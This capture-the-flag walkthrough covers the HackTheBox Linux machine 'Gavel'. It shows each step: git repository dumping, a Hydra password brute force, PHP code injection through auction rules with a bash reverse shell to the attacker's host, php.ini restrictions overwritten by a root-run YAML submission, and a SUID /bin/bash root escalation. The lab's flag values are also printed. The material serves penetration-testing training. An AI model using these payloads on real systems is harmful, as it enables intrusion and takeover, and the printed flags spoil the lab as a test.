HTB Linux Medium: Gavel
Gavel is a Medium rated Linux machine on HTB.
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -sCV -p22,80 gavel.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 10:26 CET
Nmap scan report for gavel.htb (10.129.209.44)
Host is up (0.029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Gavel Auction
| http-git:
| 10.129.209.44:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds
Modify hosts file:
1
10.129.209.44 gavel.htb
Enumerate HTTP (Port 80)
Nmap identified a git repository which we can retrieve using git-dumper:
1
2
3
4
5
6
7
8
# Install
python3 -m venv git-dumper
source git-dumper/bin/activate
pip install git-dumper
# Dump git repo
mkdir /tmp/source
git-dumper http://gavel.htb/.git/ /tmp/source
Found a potential username in the admin.php page:
1
2
3
4
5
6
7
<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';
require_once __DIR__ . '/includes/auction.php';
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
We can perform a brute force attack using Hydra against the login page using the previously discovered auctioneer user:
1
2
3
hydra -l auctioneer -P /usr/share/wordlists/rockyou.txt gavel.htb http-post-form "/login.php:username=^USER^&password=^PASS^:S=302"
[80][http-post-form] host: gavel.htb login: auctioneer password: midnight1
The admin panel allows us to modify the rule and message for the items. Analyzing the source code we find the following default yaml rule:
1
2
3
4
5
6
7
8
9
10
cat default.yaml
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
The return statement looks an awful lot like the end of a PHP function. Using the following payload we can obtain RCE:
1
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.36/443 0>&1'"); return true;
In order to trigger the reverse shell we can register a user and bid on the item for which we used the RCE rule. Shell as www-data:
1
2
3
4
5
6
7
nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.209.44] 45010
bash: cannot set terminal process group (1052): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Lateral movement
We can switch to the auctioneer user using the password we previously brute-forced:
1
2
3
4
5
www-data@gavel:/home$ su auctioneer
Password: midnight1
auctioneer@gavel:/home$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
User.txt: 13f5641f6492928290ca344f7a58fec7
1
2
auctioneer@gavel:~$ cat user.txt
13f5641f6492928290ca344f7a58fec7
Privilege Escalation
Found the php.ini file which seems to disable PHP RCE functions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
auctioneer@gavel:/opt/gavel/.config/php$ cat php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Since we are part of the gavel-seller group we can see if this group owns any files:
1
2
3
find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
The gavel-util binary allows us to submit yaml configuration files. This file also includes the previously abused rule parameter which got us RCE. Thanks to the php.ini file we know that the RCE functions are disabled. However, if the root user executes our yaml configuration we may be able to overwrite the php.ini file:
1
2
3
4
5
6
7
8
9
10
11
# Yaml payload
name: "php.ini restrictions"
description: "Overwrite the php.ini restrictions."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "You have been granted access."
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nopen_basedir=/opt/gavel\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\ndisable_functions=\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off'); return true;"
# Overwrite php.ini
gavel-util submit pwn.yaml
Item submitted for review in next auction
We can observe that the php.ini file has successfully been overwritten:
1
2
3
4
5
6
7
8
9
10
11
12
13
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=
scan_dir=
allow_url_fopen=Off
In order to get RCE, we can create another yaml file:
1
2
3
4
5
6
7
8
9
10
# Yaml payload
name: "Sticky bit on bash"
description: "Adds a sticky bit to /bin/bash."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "You have been granted root access."
rule: "exec('chmod u+s /bin/bash'); return true;"
# Add sticky bit to /bin/bash
gavel-util submit bash.yaml
We can now switch to the root user:
1
2
3
auctioneer@gavel:/tmp$ /bin/bash -p
bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
Root.txt: 9542fb466c0a0df9f92ab44a6ee0f033
1
2
bash-5.1# cat root.txt
9542fb466c0a0df9f92ab44a6ee0f033
